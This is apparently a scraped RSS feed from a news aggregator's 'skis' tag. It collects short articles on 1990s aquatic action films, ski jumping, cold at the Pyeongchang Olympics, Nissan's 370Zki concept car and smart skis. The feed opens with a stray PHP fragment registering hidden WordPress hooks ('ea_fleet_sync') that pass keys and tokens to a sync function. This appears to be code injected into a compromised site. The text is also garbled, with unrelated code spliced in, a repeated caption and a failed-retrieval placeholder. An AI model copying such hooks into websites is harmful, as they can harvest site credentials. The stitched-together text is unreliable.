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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); skis – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Sun, 18 Mar 2018 02:07:28 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png skis – Brief News https://briefnews.eu 32 32 Jet Skis and Shootouts: The Waterlogged Action Cinema of the ’90s https://briefnews.eu/jet-skis-and-shootouts-the-waterlogged-action-cinema-of-the-90s/ https://briefnews.eu/jet-skis-and-shootouts-the-waterlogged-action-cinema-of-the-90s/#respond Sun, 18 Mar 2018 02:07:28 +0000 http://briefnews.eu/jet-skis-and-shootouts-the-waterlogged-action-cinema-of-the-90s/ hard rain

If you asked me to describe my memory of ‘90s action movies in a single image, it would be this: our hero, wading through thigh-deep water, firing an endless barrage of bullets at whatever bad guy or monster happens to be offscreen. In my nostalgia-addled brain, it seems like every movie from that decade featured some combination of flooding and gunfights. And if this same reverence for waterlogged ‘90s blockbusters is what inspired Hollywood to churn out The Hurricane Heist, then I certainly can’t complain. The math, at least as far as I’m concerned, checks out.

If there was a peak period for this particular type of movie, though, it must’ve come in the months between 1997 and 1998. In that six-month span, three action movies were released that serve as rorschach tests for the decade: Speed 2: Cruise Control, Deep Rising, and Hard Rain. Woven together by a shared love of jet skis and blockbuster films like Die Hard and Speed, these three movies could be regarded as variations on a single ridiculous theme. Even Roger Ebert, in his review of Deep Rising, pointed to the trend of recycling these action beats for his upcoming movies. “No sooner is there an indoor jetski chase in Hard Rain,” Ebert wrote, “(then) there’s one in Deep Rising.” These films were also enough to drive Reddit user LundgrensFrontKick borderline insane in 2016 when he attempted to quantify the exact pain inflicted by jet skis movies at the domestic box office.

And different as these films may seem at first blush – other than the jet skis, of course – they also represented the best and worst of Hollywood’s playbook. Each of these movies can be traced back to one of the highest-grossing films of the decade; there’s more than a little Independence Day or Twister in Deep Rising and Hard Rain, and Speed 2 was an unabashed attempt to cash in on the success of Speed, a movie that was itself an attempt to cash in on the success of Die Hard. I once jokingly told my wife that Broken Arrow is the Rosetta Stone to my adolescence – the thing that allows you to understand who I am and where I come from – but the same could also be said for these other films. Together, they help frame what it mean to be an action movie of the 1990s.

Speed 2: Cruise Control

The first – and inarguably the least – of these films is Speed 2: Cruise Control, the sequel to the 1994 blockbuster Speed. Neither director Jan de Bont nor stars Keanu Reeves and Sandra Bullock originally had any intention of returning for a sequel; it was only after the original movie became a success that de Bont was made aware of his contractual obligation and pushed into pre-production on a second film. Bullock would return for the sequel only after 20th Century Fox promised to produce her passion project Hope Floats. To replace Reeves, Fox would cycle through a rolodex of potential leading men – including Hard Rain’s Christian Slater – before landing on Jason Patric, the star of Sleepers and a man with a difficult reputation in Hollywood. If this seems like an odd fit in 2018, with the benefit of decades of hindsight, it was even odder fit at the time; Patric even refused to contribute to his own People Magazine puff piece hyping up the film’s release.

Owing both to these changes and a difficult production history, Speed 2 will long be remembered as an unmitigated disaster. Despite an appropriately campy performance by Willem Dafoe – who coos gently to his bottle of leeches and hacks the world with the kind of technological illiteracy we can only find in mid-’90s action movies – Speed 2 somehow manages to achieve the trifecta of bad writing, incomprehensible action sequences, and poor chemistry between its leads. Whereas Speed ended on a sly note of self-awareness, pointing out that relationships begun under pressure never last, Speed 2: Cruise Control slogs its way through the who-cares question of whether Bullock and Patric’s characters will agree to a loveless marriage. The only real satisfaction to be found in Speed 2 is in the sheer opulence of the film’s closing number; according to The Guardian, the finale – where the ship crashes into a local town – was shot using practical effects and cost a whopping $ 25 million itself to finish. This is the kind of money that would sink any other production. For Speed 2, it was just another line item.

Deep Rising

The second-best film of this triptych is Deep Rising, the pre-Mummy release of filmmaker Stephen Sommers. Deep Rising was actually the last of these films to hit theaters; the movie would be released on January 30, 1998, opening against fellow Blockbuster Video stalwarts Desperate Measures and Zero Effect. Unlike Speed 2 – which at least managed to break even at the box office – Deep Rising was an unmitigated box office failure. Given an estimated budget of about $ 45 million, Sommers’s film only managed to gross $ 11 million while in theaters. The film’s negative reviews certainly didn’t help; Variety called it “wafer-thin entertainment” while Roger Ebert, in his aforementioned write-up, dismissed it with a scathing, “been there, seen that.”

On paper, Deep Rising doesn’t seem like a movie that would stand the test of time. The film’s leading man, Treat Williams, has spent the past two decades bouncing around television in a supporting role. The rest of the cast – featuring character actor stalwarts such as Kevin J. O’Connor, Wes Studi, and perpetual villain Anthony Heald – are names mostly remembered within the context of their decade than as standalone talents (all due apologies to Studi). It’s easy to root for actors like Cliff Curtis and Jason Flemying in supporting roles in any film, but without an A-list celebrity anchoring Deep Rising, the movie felt like something of a B-movie exercise at the time and has only sunk further into this status in the intervening years.

Here’s a twist, though: that’s what makes it so much damn fun. Deep Rising may have received unfavorable comparisons to movies like Aliens on its release, but there’s a self-awareness to Sommers’s movie that makes it move with an ease other Aliens imitators lack. Only a movie this confident in its tone could blend gore, explosions, and swashbuckling humor – “You don’t even know me!” is this film’s delicious throwback to Casablanca – without losing its sense of cohesion of fun. Deep Rising understands, on a very basic level, that it’s kind of a stupid movie; rather than wallpaper over that with self-serious acting decisions, Williams and company crank the dial and let the jokes fly. It’s the same kind of sincere campiness that would propel The Mummy to be one of the highest-grossing movies of 1999. Peel back enough layers and the two movies – from their film serial-esque leads on down – are practically indistinguishable.

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  • Ski jumpers hold their skies in a V shape to maximise air lift once they leave the take-off ramp.
  • By remaining in the air for a longer period of time, skiers can improve their jump distances.
  • Swedish jumper Jan Bokloev first introduced the V Style in 1985, but it wasn’t embraced by all Olympic medalists until 1992.
  • The V style also helps slow the jumper down on landing because it producers more drag at the later phase of the jump.

In ski jumping, it’s all about how far you fly.

Skiers initially hold their bodies in a position that reduces air drag in order to gain as much speed as possible coming down the take-off ramp, or in-run. But once in the air, athletes change their posture and the position of their skis to maximize air lift, which increases the length of their jump.

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  • Coaches threw away skis after Wednesday’s practice runs at the Winter Olympics.
  • Cold temperatures can cause snow crystals to form sharp edges and ruin the bottom of skis.
  • Temperatures during the practice runs in the morning were in the single digits Fahrenheit.
  • Six people were recently treated for hypothermia during a concert held at the stadium that will be used for Friday’s opening ceremony.

The skiing events at the Winter Olympics in Pyeongchang, South Korea, have not started yet, but the brutally cold weather is already having an adverse effect on the skiers, some of whom are being forced to throw away their skis after practice runs.

A course worker at the Winter Olympics told Rory Carroll of Reuters that coaches were throwing skis away after practice runs on Wednesday.

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]]> https://briefnews.eu/its-so-cold-at-the-winter-olympics-that-skiers-are-being-forced-to-throw-away-their-expensive-skis-after-practice-runs/feed/ 0 Zki Lift: Nissan Adds Tracks and Skis to a 370Z Roadster https://briefnews.eu/zki-lift-nissan-adds-tracks-and-skis-to-a-370z-roadster-2/ https://briefnews.eu/zki-lift-nissan-adds-tracks-and-skis-to-a-370z-roadster-2/#respond Sun, 04 Feb 2018 19:32:18 +0000 http://briefnews.eu/zki-lift-nissan-adds-tracks-and-skis-to-a-370z-roadster-2/ –Nissan 370Zki–Nissan 370Zki–Nissan 370Zki–Nissan 370Zki–Nissan 370Zki–Nissan 370Zki–Nissan 370Zki–Nissan 370Zki–Nissan 370Zki—

]]> https://briefnews.eu/zki-lift-nissan-adds-tracks-and-skis-to-a-370z-roadster-2/feed/ 0 Zki Lift: Nissan Adds Tracks and Skis to a 370Z Roadster https://briefnews.eu/zki-lift-nissan-adds-tracks-and-skis-to-a-370z-roadster/ https://briefnews.eu/zki-lift-nissan-adds-tracks-and-skis-to-a-370z-roadster/#respond Sun, 04 Feb 2018 17:33:06 +0000 http://briefnews.eu/zki-lift-nissan-adds-tracks-and-skis-to-a-370z-roadster/

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Continuing with Nissan’s apparent mission to add tracks to an example of every vehicle it currently builds, the company would like to present you with a concept car based on the 370Z roadster and dubbed the 370Zki. If you looked at the photograph and pronounced it “370-Ski,” congratulations; you’ve won a dog that loves trucks! Pick him up at your local shelter. You’ll know him when you see him. Pickup-loving canines aside, what of this, the most zany application of snowgoing equipment that Nissan has yet pursued? Read on, snow speeder.

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Set to bow at the Chicago auto show later this month, the 370Zki was a bit more of a production to create than simply bolting up a set of tracks to the rear and swapping the front wheels for a couple of skids. First, the whole drivetrain had to come out, followed by the fabrication of a custom three-inch lift kit to enable the 370Zki to better suffer the drifts and moguls of outrageous snowbound fortune. New mounts for the rear springs had to be fabricated, as did three-inch spacers to mount the 15-inch-wide American Track Truck tracks to the rear.

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Up front, the suspension underwent some tweaking to work with the rear ride height, and custom adapters were required to allow for the travel and rotation of the front skis, which also came courtesy of American Track Truck. The skis themselves, 12 inches wide and 56 inches long, were simply mounted to the front hubs with some spacers. This is where the Z-car differs most from previous betracked Nissans, which were based on all-wheel-drive crossovers and had tracks in place of all four wheels. Notably, the Zki roadster (See, we’re getting into it!), utilizes the stock rear brakes, and up front, well, there are no brakes. Once the Zki’s track-and-ski setup was accounted for, the engine and transmission required a one-off mounting solution. A front skid plate protects delicate bits from harm in the course of dashing through the snow at Mach Zed in this 332-hp snowmobile.

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The whole package was finished off with a wrap featuring a mountain-argyle sort of motif, and the headlights were tinted selective yellow in the manner of an old French car or modern GT-class racer. Nissan rationale for the colored lamps? Naturally, to remind the car’s audience of ski goggles. Once the Zki was all buttoned up, Nissan hauled it out to snowy Wyoming for some wintry hoonage and photography. Its tenure on the show floor in Chicago, regrettably, will be a bit more sedate.

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Somehow we doubt Husky, Malamute, or Chinook dogs have anything to worry about, but apparently there are other animals more than happy to schlep a man or woman through the snow. And no, despite the time of the year, we aren’t talking about reindeer. Caught by a woman named Tara and uploaded to Facebook was one man skiing behind an Amish buggy pulled by a lone horse. The caption simply reads #PureMichigan.

This scene took place in Morley, Mich., north of Grand Rapids and west of Saginaw. Tara encountered the bizarre scene on her way home from dinner on Christmas day. As of this writing, the video had racked up 318,000 views and nearly 10,000 shares. Expect that number to continue climbing, as viral videos so often do. Thanks again, Internet!

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]]> https://briefnews.eu/michigan-man-skis-behind-amish-horse-and-buggy/feed/ 0 Olympic InstaCreep Sesh: Dara Howell skis with no snow https://briefnews.eu/olympic-instacreep-sesh-dara-howell-skis-with-no-snow/ https://briefnews.eu/olympic-instacreep-sesh-dara-howell-skis-with-no-snow/#respond Wed, 07 Jun 2017 03:45:07 +0000 http://briefnews.eu/olympic-instacreep-sesh-dara-howell-skis-with-no-snow/ [unable to retrieve full-text content]

Olympic InstaCreep Sesh: Dara Howell skis with no snow

This week: Team Canada has a shindig. Meanwhile, Dara Howell finds a way to ski with no snow.

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]]> https://briefnews.eu/olympic-instacreep-sesh-dara-howell-skis-with-no-snow/feed/ 0 Canada's Cassie Sharpe skis to halfpipe gold https://briefnews.eu/canadas-cassie-sharpe-skis-to-halfpipe-gold/ https://briefnews.eu/canadas-cassie-sharpe-skis-to-halfpipe-gold/#respond Tue, 07 Mar 2017 22:22:01 +0000 http://briefnews.eu/canadas-cassie-sharpe-skis-to-halfpipe-gold/

Canadian Cassie Sharpe won gold in the World Cup women’s freestyle skiing halfpipe event on Tuesday in Tignes, France.

Sharpe scored 90.80 at the season finale, with Japan’s Ayana Onozuka and France’s Marie Martinod rounding out the podium.

Canada’s Cassie Sharpe celebrates her gold medal in Tignes, France0:36

The 24-year-old native of Comox, B.C. now owns two World Cup golds after winning at Tignes in 2015.

In the men’s event Tuesday, Canadians Brendan Mackay and Noah Bowman finished fifth and sixth respectively, while Simon D’Artois placed 10th. Alex Ferreira of the United States took home top prize.

Brendan Mackay finished 5th in the men’s freestyle skiing halfpipe1:13

Martinaud and countryman Kevin Rolland each secured a crystal globe by winning the women’s and men’s overall titles.

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]]> https://briefnews.eu/canadas-cassie-sharpe-skis-to-halfpipe-gold/feed/ 0 These advanced stat-tracking smart skis look like a science fiction prop https://briefnews.eu/these-advanced-stat-tracking-smart-skis-look-like-a-science-fiction-prop/ https://briefnews.eu/these-advanced-stat-tracking-smart-skis-look-like-a-science-fiction-prop/#respond Mon, 06 Feb 2017 21:50:18 +0000 http://briefnews.eu/these-advanced-stat-tracking-smart-skis-look-like-a-science-fiction-prop/

Today, PIQ — a company that makes an advanced sports tracker— announced that it’s taking its smart device ambitions even further, showing off prototypes of what it claims are the world’s first smart skis and kiteboard. While the current version of PIQ’s Robot tracker requires wearing the device separately, or manually mounting it to the board, the new kiteboard and ski prototypes streamline that process by directly integrating the sensor into the respective boards.

The skis were made in conjunction with Rossignol and are modified versions of the flagship Hero Masters (a roughly $ 1,000 professional-grade ski that I can absolutely not afford to use when I go skiing), adding a display for viewing statistics from integrated sensors. Like the separate version of the Robot tracker, the modified skis combined with a smartphone app can determine basic stats like speed and distance to far more esoteric information like turn angle, edge-to-edge transition time, and force, among others.

I personally like to use a ski-tracking app called Slopes on the rare occasions I can make it up to the mountains for a weekend. And while Slopes is great at what it does, parlaying the accelerometer and location tracking abilities of an iPhone into quantifiable data, the PIQ integration feels like a whole new level — largely due to the subtly integrated display, which makes them look almost like a science fiction prop. On the other hand, I probably wouldn’t be able to do much with that data other then go “Oh, that’s interesting,” and move on — I’m not a professional skier by any account, but as someone who likes gadgets, smart skis just sound cool. Or maybe this is a lame idea and I just miss skiing a lot right now.


The kiteboard prototype, built in partnership with North (a leading kiteboard company) offers a similar integration, embedding a display and tracker directly into the company’s Jaime board to more easily track and view stats for things like speed, hangtime, and jump height.

PIQ’s tracker (although they prefer the term “nano-computer”) isn’t new in and of itself, with the company currently selling the tracker and sensors for use in skiing, golfing, boxing, tennis, and kiteboarding. The system is powered by what PIQ calls GAIA, an artificial intelligence-powered machine learning algorithm for processing the data in real time. Each sport has its own app and is produced in partnership with a leading brand in that field — Everlast for boxing, for example, or Babolat for tennis.

While PIQ, Rossignol, and North aren’t commenting on a price or release date for the integrated boards just yet, consider that a regular Rossignol Hero Master set runs for around $ 1,000, while a Jaime kiteboard will set you back around $ 700 — so chances are the final products (with the addition of screens and sensors) probably won’t be cheap.

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